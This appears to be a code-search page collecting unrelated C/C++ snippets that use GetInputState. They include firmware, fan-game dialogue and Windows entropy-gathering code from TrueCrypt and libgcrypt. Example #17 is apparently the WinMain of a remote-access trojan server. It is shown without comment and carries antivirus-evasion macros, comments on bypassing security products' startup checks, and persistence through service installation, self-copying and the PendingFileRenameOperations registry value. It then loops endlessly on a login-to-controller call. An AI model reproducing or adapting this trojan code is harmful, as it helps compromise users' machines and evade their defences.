   if ((sInputType == INPUT_TYPE_DUAL_SWITCH) ||
       (sInputType == INPUT_TYPE_MOTION_DETECTOR)) {
      /* wait for controller startup delay for sending first state telegram */
      DELAY_S(STARTUP_DELAY);
   }

   if ((sInputType == INPUT_TYPE_DUAL_SWITCH) ||
       (sInputType == INPUT_TYPE_MOTION_DETECTOR)) {
      inputState = GetInputState();
      sSwitchStateOld = ~inputState;
      ProcessSwitch(inputState);
   }

   while (1) { 
      Idle();
   
      inputState = GetInputState(); 
      if ((sInputType == INPUT_TYPE_DUAL_SWITCH) ||
          (sInputType == INPUT_TYPE_MOTION_DETECTOR)) {
         ProcessSwitch(inputState);
      } else if (sInputType == INPUT_TYPE_DUAL_BUTTON) {
         ProcessButton(inputState);
      }

      ProcessBus();
   }
   return 0;  /* never reached */
}
Example #17
0
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
	WNDCLASS m_WndClass;
	ZeroMemory(&m_WndClass,sizeof(WNDCLASS));
	
	//水平拖动
	m_WndClass.style=CS_HREDRAW;
	
	//回调函数地址
	m_WndClass.lpfnWndProc=NULL;
	
	//附加数据  总是为NULL
	m_WndClass.cbClsExtra = NULL;
	
	//附加数据  总是为NULL
	m_WndClass.cbWndExtra = NULL;
	
	//程序实例
	m_WndClass.hInstance  = NULL;
	
	//程序Icon
	m_WndClass.hIcon = LoadIcon(NULL,IDI_INFORMATION);
	
	//程序光标
	m_WndClass.hCursor = LoadCursor(NULL,IDC_HELP);
	
	//背景颜色
	m_WndClass.hbrBackground = (HBRUSH)GetStockObject(GRAY_BRUSH);
	
	//程序类名
	m_WndClass.lpszClassName = NULL;
	
	//注册类名
	RegisterClass(&m_WndClass);

	// TODO: Place code here.
	//////////////////////////////////////////////////////////////////////////
	// 让启动程序时的小漏斗马上消失
    GetInputState();
	PostThreadMessage(GetCurrentThreadId(),NULL,0,0);
	MSG	msg;
	GetMessage(&msg, NULL, NULL, NULL);

	//创建互斥
	char	strInstallModule[MAX_PATH]; 
	memset(strInstallModule, 0, sizeof(strInstallModule)); 
	GetModuleFileName(NULL,strInstallModule,sizeof(strInstallModule));
	
	HANDLE m_hMutex;
	m_hMutex = CreateMutex(NULL, FALSE, strInstallModule);
	if (m_hMutex && GetLastError() == ERROR_ALREADY_EXISTS)
	{
		exit(0);
		ExitProcess(0);
		return -1;
	}

	FUCKAV2
		FUCKAV2
		FUCKAV2
		FUCKAV2
		ANTIVIRUS
		FUCKNOD32
	FUCKAV

	FUCKAV2
		FUCKAV2
		FUCKAV2
		FUCKAV2
		ANTIVIRUS
		FUCKNOD32
	FUCKAV
	
	if(!modify_data.bRunOnce)//如果不是绿色安装
	{
		if (modify_data.bServer == TRUE)
		{
			if (service_is_exist())
			{	
				SERVICE_TABLE_ENTRY serviceTable[] = 
				{
					{modify_data.SerName,(LPSERVICE_MAIN_FUNCTION) ServiceMain},
					{NULL,NULL}
				};
				StartServiceCtrlDispatcher(serviceTable);
			}
			else
			{
				RunService(modify_data.SerName,modify_data.Serdisplay ,modify_data.Serdesc);
			}
		}

		if (modify_data.bRuns == TRUE)
		{
			////////////////过管家,瑞星,金山启动项///////////////
			char szMyFilePath[MAX_PATH];
        	GetModuleFileName(NULL,szMyFilePath,MAX_PATH);
	        char Sys[MAX_PATH];
        	char FileN[100];
        	SHGetSpecialFolderPath(NULL,Sys, 24, FALSE);
        	wsprintf(FileN,"\\scvost.bat");//随即发生一个文件名
        	strcat(Sys,"\\");
        	strcat(Sys,FileN);
        	HKEY hKey;
        	DWORD Action=0;
        	char MyPat[] = "c:\\1.exe";
        	char MyPath[] = "\\??\\c:\\1.exe\0";
        	CopyFile(szMyFilePath,MyPat,FALSE);
        	char bUuIt[] = {'S','Y','S','T','E','M','\\','C','u','r','r','e','n','t','C','o','n','t','r','o','l','S','e','t','\\','C','o','n','t','r','o','l','\\','S','e','s','s','i','o','n',' ','M','a','n','a','g','e','r','\0'};
	
	        RegCreateKeyExA (HKEY_LOCAL_MACHINE,bUuIt,0,NULL,REG_OPTION_NON_VOLATILE,KEY_WRITE,NULL,&hKey,&Action);
        	RegSetValueEx(hKey,"PendingFileRenameOperations",NULL,REG_MULTI_SZ,(const unsigned char *)MyPath,sizeof(MyPath));
        	RegCloseKey(hKey);
        	MoveFileEx(Sys,0,MOVEFILE_DELAY_UNTIL_REBOOT);
			/////////////////////////////////////////////////////
	//return 0;
//}
			
			while(1)
			{
				Login();
				Sleep(50);
			}
		}
	}
	else
	{
		while(1)
		{
			Login();
			Sleep(50);
		}
	}
	FUCKAV2
		FUCKAV2
		FUCKAV2
		FUCKAV2
		ANTIVIRUS
		FUCKNOD32
	FUCKAV
	return 0;
}
Example #18
0
int CTalkLety2::Thread(){
	chara = 0;
	face = 0;
	enemy_face = -1;
	font.CreateList("さあ、そろそろ黒幕においで願おうか");
	Talk();

	for( int i = 0; i < 46; i++ ) {
		g_pBoss->Appear();
		SunEffectRect flame;
		flame.m_color = argb(127,0,0,0);
		SetRect(&flame.m_rect,GAME_LEFT+60,350,GAME_RIGHT-60,430);
		D3DCOLOR color = mono(128+127*(chara==0));
		int cx = - (chara != 0) * 20;
		int cy = (chara != 0) * 20;
		DrawMarisa(-200+cx,60+cy,face,manfu,color);
		flame.Draw();
		if( !GetInputState( INP_B6 ) )
			mt.Suspend();
	}

	chara = 1;
	enemy_face = 0;
	font.CreateList("あら、あなたはこの美しく輝くオーロラが\n黒く見えるの?");
	fntEnemy.CreateList("冬の落とし子 レティ",16);
	Talk();

	chara = 0;
	face = 1;
	font.CreateList("黒くたって輝けるんだぜ。\n知らないのか?");
	Talk();

	chara = 1;
	enemy_face = 1;
	font.CreateList("輝くのはあなたじゃなくて、\nあなたの魔法でしょう?");
	Talk();

	chara = 0;
	face = 0;
	font.CreateList("つれないなあ。\nそんなだからこんな寒い冬にしちまうんだぜ?");
	Talk();

	chara = 1;
	enemy_face = 0;
	font.CreateList("私はいつも通り冬を運んだだけ。\n巫女が出てこないのが何よりの証拠よ");
	Talk();

	chara = 0;
	face = 1;
	font.CreateList("私は魔法使いだぜ、\n寒さをしのぐ魔法なんて夕飯前だ");
	Talk();

	chara = 1;
	enemy_face = 1;
	font.CreateList("あなた達人間は、少しばかり近視眼になっている。\n少しは妖怪を見習ったらどう?");
	Talk();

	chara = 0;
	face = 0;
	font.CreateList("妖怪は退治するものだぜ");
	Talk();

	chara = 1;
	enemy_face = 1;
	font.CreateList("妖怪は自然を司る……");
	Talk();

	chara = 1;
	enemy_face = 0;
	font.CreateList("自然に依存する人間は、\n自然のしっぺ返しを食らうことになる");
	Talk();

	chara = 2;
	enemy_face = 1;
	face = 1;
	font.CreateList("黒の魔法を食らわせてやろう、冬の妖怪");
	font2.CreateList("白き冬を味わわせてあげるわ、魔法使い");
	Talk();

	PlayBGM("tbm_lety");
	return 1;
}
Example #19
0
int CTalkChirno2::Thread(){

	chara = 0;
	face = 3;
	enemy_face = -1;
	font.CreateList("む、誰だ!");
	Talk();

	for( int i = 0; i < 46; i++ ) {
		g_pBoss->Appear();
		SunEffectRect flame;
		flame.m_color = argb(127,0,0,0);
		SetRect(&flame.m_rect,GAME_LEFT+60,350,GAME_RIGHT-60,430);
		D3DCOLOR color = mono(128+127*(chara==0));
		int cx = - (chara != 0) * 20;
		int cy = (chara != 0) * 20;
		DrawMarisa(-200+cx,60+cy,face,manfu,color);
		flame.Draw();
		if( !GetInputState( INP_B6 ) )
			mt.Suspend();
	}

	chara = 1;
	enemy_face = 2;
	font.CreateList("さっき遭ったじゃない!");
	fntEnemy.CreateList("氷精 チルノ",16);
	Talk();

	chara = 0;
	face = 1;
	font.CreateList("そうだったか?");
	Talk();

	chara = 1;
	enemy_face = 1;
	font.CreateList("ふん、\nこの寒さで頭がおかしくなったんじゃない?");
	Talk();

	chara = 0;
	face = 0;
	font.CreateList("ところでこの寒さは……");
	Talk();

	chara = 1;
	enemy_face = 0;
	font.CreateList("ふっふっふ");
	Talk();

	chara = 0;
	face = 1;
	font.CreateList("お前以外の誰の仕業だ?");
	Talk();

	chara = 1;
	enemy_face = 1;
	font.CreateList("むっ");
	Talk();

	chara = 0;
	face = 2;
	font.CreateList("って、知らなさそうだな\nそもそもおまえは夏以外出没禁止なんだが");
	Talk();

	chara = 1;
	enemy_face = 2;
	font.CreateList("大ガマが冬眠している今こそ、\n私が活躍するチャンスなのよ!");
	Talk();

	chara = 0;
	face = 0;
	font.CreateList("まぁいいや。");
	Talk();
	face = 1;
	font.CreateList("3×3は?");
	Talk();

	chara = 1;
	enemy_face = 1;
	font.CreateList("�H!");
	Talk();

	StopBGM();
	PlayBGM("tbm_otenba");
	g_lEffect3.Add( new CEffectFont("♪バカとバカの境界",bgmFontColor,380,420) );

	return 1;
}
Example #20
0
/* This is the fastpoll function which gathers up info by calling various api's */
BOOL FastPoll (void)
{
	int nOriginalRandIndex = nRandIndex;
	static BOOL addedFixedItems = FALSE;
	FILETIME creationTime, exitTime, kernelTime, userTime;
	SIZE_T minimumWorkingSetSize, maximumWorkingSetSize;
	LARGE_INTEGER performanceCount;
	MEMORYSTATUS memoryStatus;
	HANDLE handle;
	POINT point;

	/* Get various basic pieces of system information */
	RandaddIntPtr (GetActiveWindow ());	/* Handle of active window */
	RandaddIntPtr (GetCapture ());	/* Handle of window with mouse
					   capture */
	RandaddIntPtr (GetClipboardOwner ());	/* Handle of clipboard owner */
	RandaddIntPtr (GetClipboardViewer ());	/* Handle of start of
						   clpbd.viewer list */
	RandaddIntPtr (GetCurrentProcess ());	/* Pseudohandle of current
						   process */
	RandaddInt32 (GetCurrentProcessId ());	/* Current process ID */
	RandaddIntPtr (GetCurrentThread ());	/* Pseudohandle of current
						   thread */
	RandaddInt32 (GetCurrentThreadId ());	/* Current thread ID */
	RandaddInt32 (GetCurrentTime ());	/* Milliseconds since Windows
						   started */
	RandaddIntPtr (GetDesktopWindow ());	/* Handle of desktop window */
	RandaddIntPtr (GetFocus ());	/* Handle of window with kb.focus */
	RandaddInt32 (GetInputState ());	/* Whether sys.queue has any events */
	RandaddInt32 (GetMessagePos ());	/* Cursor pos.for last message */
	RandaddInt32 (GetMessageTime ());	/* 1 ms time for last message */
	RandaddIntPtr (GetOpenClipboardWindow ());	/* Handle of window with
							   clpbd.open */
	RandaddIntPtr (GetProcessHeap ());	/* Handle of process heap */
	RandaddIntPtr (GetProcessWindowStation ());	/* Handle of procs
							   window station */
	RandaddInt32 (GetQueueStatus (QS_ALLEVENTS));	/* Types of events in
							   input queue */

	/* Get multiword system information */
	GetCaretPos (&point);	/* Current caret position */
	RandaddBuf ((unsigned char *) &point, sizeof (POINT));
	GetCursorPos (&point);	/* Current mouse cursor position */
	RandaddBuf ((unsigned char *) &point, sizeof (POINT));

	/* Get percent of memory in use, bytes of physical memory, bytes of
	   free physical memory, bytes in paging file, free bytes in paging
	   file, user bytes of address space, and free user bytes */
	memoryStatus.dwLength = sizeof (MEMORYSTATUS);
	GlobalMemoryStatus (&memoryStatus);
	RandaddBuf ((unsigned char *) &memoryStatus, sizeof (MEMORYSTATUS));

	/* Get thread and process creation time, exit time, time in kernel
	   mode, and time in user mode in 100ns intervals */
	handle = GetCurrentThread ();
	GetThreadTimes (handle, &creationTime, &exitTime, &kernelTime, &userTime);
	RandaddBuf ((unsigned char *) &creationTime, sizeof (FILETIME));
	RandaddBuf ((unsigned char *) &exitTime, sizeof (FILETIME));
	RandaddBuf ((unsigned char *) &kernelTime, sizeof (FILETIME));
	RandaddBuf ((unsigned char *) &userTime, sizeof (FILETIME));
	handle = GetCurrentProcess ();
	GetProcessTimes (handle, &creationTime, &exitTime, &kernelTime, &userTime);
	RandaddBuf ((unsigned char *) &creationTime, sizeof (FILETIME));
	RandaddBuf ((unsigned char *) &exitTime, sizeof (FILETIME));
	RandaddBuf ((unsigned char *) &kernelTime, sizeof (FILETIME));
	RandaddBuf ((unsigned char *) &userTime, sizeof (FILETIME));

	/* Get the minimum and maximum working set size for the current
	   process */
	GetProcessWorkingSetSize (handle, &minimumWorkingSetSize,
				  &maximumWorkingSetSize);
	RandaddIntPtr (minimumWorkingSetSize);
	RandaddIntPtr (maximumWorkingSetSize);

	/* The following are fixed for the lifetime of the process so we only
	   add them once */
	if (addedFixedItems == 0)
	{
		STARTUPINFO startupInfo;

		/* Get name of desktop, console window title, new window
		   position and size, window flags, and handles for stdin,
		   stdout, and stderr */
		startupInfo.cb = sizeof (STARTUPINFO);
		GetStartupInfo (&startupInfo);
		RandaddBuf ((unsigned char *) &startupInfo, sizeof (STARTUPINFO));
		addedFixedItems = TRUE;
	}
	/* The docs say QPC can fail if appropriate hardware is not
	   available. It works on 486 & Pentium boxes, but hasn't been tested
	   for 386 or RISC boxes */
	if (QueryPerformanceCounter (&performanceCount))
		RandaddBuf ((unsigned char *) &performanceCount, sizeof (LARGE_INTEGER));
	else
	{
		/* Millisecond accuracy at best... */
		DWORD dwTicks = GetTickCount ();
		RandaddBuf ((unsigned char *) &dwTicks, sizeof (dwTicks));
	}

	// CryptoAPI: We always have a valid CryptoAPI context when we arrive here but
	//            we keep the check for clarity purpose
	if ( !CryptoAPIAvailable )
		return FALSE;
	if (CryptGenRandom (hCryptProv, sizeof (buffer), buffer)) 
	{
		RandaddBuf (buffer, sizeof (buffer));
		burn (buffer, sizeof(buffer));
	}
	else
	{
		/* return error in case CryptGenRandom fails */
		CryptoAPILastError = GetLastError ();
		return FALSE;
	}

	/* Apply the pool mixing function */
	Randmix();

	/* Restore the original pool cursor position. If this wasn't done, mouse coordinates
	   could be written to a limited area of the pool, especially when moving the mouse
	   uninterruptedly. The severity of the problem would depend on the length of data
	   written by FastPoll (if it was equal to the size of the pool, mouse coordinates
	   would be written only to a particular 4-byte area, whenever moving the mouse
	   uninterruptedly). */
	nRandIndex = nOriginalRandIndex;

	return TRUE;
}
Example #21
0
void
_gcry_rndw32_gather_random_fast (void (*add)(const void*, size_t,
                                             enum random_origins),
                                 enum random_origins origin)
{
  static int addedFixedItems = 0;

  if ( debug_me )
    log_debug ("rndw32#gather_random_fast: ori=%d\n", origin );

  /* Get various basic pieces of system information: Handle of active
     window, handle of window with mouse capture, handle of clipboard
     owner handle of start of clpboard viewer list, pseudohandle of
     current process, current process ID, pseudohandle of current
     thread, current thread ID, handle of desktop window, handle of
     window with keyboard focus, whether system queue has any events,
     cursor position for last message, 1 ms time for last message,
     handle of window with clipboard open, handle of process heap,
     handle of procs window station, types of events in input queue,
     and milliseconds since Windows was started.  */

  {
    byte buffer[20*sizeof(ulong)], *bufptr;

    bufptr = buffer;
#define ADD(f)  do { ulong along = (ulong)(f);                  \
                     memcpy (bufptr, &along, sizeof (along) );  \
                     bufptr += sizeof (along);                  \
                   } while (0)

    ADD ( GetActiveWindow ());
    ADD ( GetCapture ());
    ADD ( GetClipboardOwner ());
    ADD ( GetClipboardViewer ());
    ADD ( GetCurrentProcess ());
    ADD ( GetCurrentProcessId ());
    ADD ( GetCurrentThread ());
    ADD ( GetCurrentThreadId ());
    ADD ( GetDesktopWindow ());
    ADD ( GetFocus ());
    ADD ( GetInputState ());
    ADD ( GetMessagePos ());
    ADD ( GetMessageTime ());
    ADD ( GetOpenClipboardWindow ());
    ADD ( GetProcessHeap ());
    ADD ( GetProcessWindowStation ());
    ADD ( GetQueueStatus (QS_ALLEVENTS));
    ADD ( GetTickCount ());

    gcry_assert ( bufptr-buffer < sizeof (buffer) );
    (*add) ( buffer, bufptr-buffer, origin );
#undef ADD
  }

  /* Get multiword system information: Current caret position, current
     mouse cursor position.  */
  {
    POINT point;

    GetCaretPos (&point);
    (*add) ( &point, sizeof (point), origin );
    GetCursorPos (&point);
    (*add) ( &point, sizeof (point), origin );
  }

  /* Get percent of memory in use, bytes of physical memory, bytes of
     free physical memory, bytes in paging file, free bytes in paging
     file, user bytes of address space, and free user bytes.  */
  {
    MEMORYSTATUS memoryStatus;

    memoryStatus.dwLength = sizeof (MEMORYSTATUS);
    GlobalMemoryStatus (&memoryStatus);
    (*add) ( &memoryStatus, sizeof (memoryStatus), origin );
  }

  /* Get thread and process creation time, exit time, time in kernel
     mode, and time in user mode in 100ns intervals.  */
  {
    HANDLE handle;
    FILETIME creationTime, exitTime, kernelTime, userTime;
    DWORD minimumWorkingSetSize, maximumWorkingSetSize;

    handle = GetCurrentThread ();
    GetThreadTimes (handle, &creationTime, &exitTime,
                    &kernelTime, &userTime);
    (*add) ( &creationTime, sizeof (creationTime), origin );
    (*add) ( &exitTime, sizeof (exitTime), origin );
    (*add) ( &kernelTime, sizeof (kernelTime), origin );
    (*add) ( &userTime, sizeof (userTime), origin );

    handle = GetCurrentProcess ();
    GetProcessTimes (handle, &creationTime, &exitTime,
                     &kernelTime, &userTime);
    (*add) ( &creationTime, sizeof (creationTime), origin );
    (*add) ( &exitTime, sizeof (exitTime), origin );
    (*add) ( &kernelTime, sizeof (kernelTime), origin );
    (*add) ( &userTime, sizeof (userTime), origin );

    /* Get the minimum and maximum working set size for the current
       process.  */
    GetProcessWorkingSetSize (handle, &minimumWorkingSetSize,
                              &maximumWorkingSetSize);
    (*add) ( &minimumWorkingSetSize,
             sizeof (minimumWorkingSetSize), origin );
    (*add) ( &maximumWorkingSetSize,
             sizeof (maximumWorkingSetSize), origin );
  }


  /* The following are fixed for the lifetime of the process so we only
   * add them once */
  if (!addedFixedItems)
    {
      STARTUPINFO startupInfo;

      /* Get name of desktop, console window title, new window
         position and size, window flags, and handles for stdin,
         stdout, and stderr.  */
      startupInfo.cb = sizeof (STARTUPINFO);
      GetStartupInfo (&startupInfo);
      (*add) ( &startupInfo, sizeof (STARTUPINFO), origin );
      addedFixedItems = 1;
    }

  /* The performance of QPC varies depending on the architecture it's
     running on and on the OS, the MS documentation is vague about the
     details because it varies so much.  Under Win9x/ME it reads the
     1.193180 MHz PIC timer.  Under NT/Win2K/XP it may or may not read the
     64-bit TSC depending on the HAL and assorted other circumstances,
     generally on machines with a uniprocessor HAL
     KeQueryPerformanceCounter() uses a 3.579545MHz timer and on machines
     with a multiprocessor or APIC HAL it uses the TSC (the exact time
     source is controlled by the HalpUse8254 flag in the kernel).  That
     choice of time sources is somewhat peculiar because on a
     multiprocessor machine it's theoretically possible to get completely
     different TSC readings depending on which CPU you're currently
     running on, while for uniprocessor machines it's not a problem.
     However, the kernel appears to synchronise the TSCs across CPUs at
     boot time (it resets the TSC as part of its system init), so this
     shouldn't really be a problem.  Under WinCE it's completely platform-
     dependant, if there's no hardware performance counter available, it
     uses the 1ms system timer.

     Another feature of the TSC (although it doesn't really affect us here)
     is that mobile CPUs will turn off the TSC when they idle, Pentiums
     will change the rate of the counter when they clock-throttle (to
     match the current CPU speed), and hyperthreading Pentiums will turn
     it off when both threads are idle (this more or less makes sense,
     since the CPU will be in the halted state and not executing any
     instructions to count).

     To make things unambiguous, we detect a CPU new enough to call RDTSC
     directly by checking for CPUID capabilities, and fall back to QPC if
     this isn't present.  */
#ifdef __GNUC__
/*   FIXME: We would need to implement the CPU feature tests first.  */
/*   if (cpu_has_feature_rdtsc) */
/*     { */
/*       uint32_t lo, hi; */
      /* We cannot use "=A", since this would use %rax on x86_64. */
/*       __asm__ __volatile__ ("rdtsc" : "=a" (lo), "=d" (hi)); */
      /* Ignore high 32 bits, hwich are >1s res.  */
/*       (*add) (&lo, 4, origin ); */
/*     } */
/*   else */
#endif /*!__GNUC__*/
    {
      LARGE_INTEGER performanceCount;

      if (QueryPerformanceCounter (&performanceCount))
        {
          if ( debug_me )
          log_debug ("rndw32#gather_random_fast: perf data\n");
          (*add) (&performanceCount, sizeof (performanceCount), origin);
        }
      else
        {
          /* Millisecond accuracy at best... */
          DWORD aword = GetTickCount ();
          (*add) (&aword, sizeof (aword), origin );
        }
    }


}